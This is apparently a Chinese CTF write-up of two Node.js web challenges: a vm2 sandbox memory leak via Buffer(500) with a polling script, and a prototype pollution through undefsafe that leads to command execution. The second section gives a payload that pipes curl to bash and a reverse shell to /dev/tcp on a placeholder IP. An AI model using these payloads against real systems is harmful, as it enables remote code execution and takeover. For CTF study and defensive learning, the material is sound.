[HITCON 2016]Leaking
知识点
- node.js中的VM2沙箱逃逸
- JS通过Buffer类处理二进制数据的缓冲区
题解
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});
app.listen(3000, function() {
console.log("listening on port 3000!");
});
看到了引入了vm2模块
在较早一点的node.js版本中 (8.0 之前),当
Buffer
的构造函数传入数字时, 会得到与数字长度一致的一个Buffer
,并且这个Buffer
是未清零的。8.0 之后的版本可以通过另一个函数Buffer.allocUnsafe(size)
来获得未清空的内存。
注:关于 Buffer
JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。
但在处理像TCP流或文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer
类,该类用来创建一个专门存放二进制数据的缓存区。
# [HITCON 2016]Leaking --- Exp
# encoding=utf-8
import requests
import time
url = 'http://7d85438f-71af-4300-8736-eea86835a461.node5.buuoj.cn:81/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
time.sleep(0.1)
if 'flag{' in response:
print(response)
break
[网鼎杯 2020 青龙组]notes
知识点
- 原型链污染
- undefsafe包 - 版本小于2.0.3有漏洞
#截取部分代码
class Notes {
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
}
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
可以看到在/status
路由下存在exec执行函数
,又可以看到存在undefsafe包
->通过undefsafe污染commands属性
->进而执行exec函数
Payload
id=__proto__&author=curl%20http://IP/shell.txt|bash&raw=a
IP指的是公网ip
shell.txt:
bash -i >& /dev/tcp/IP/9999 0>&1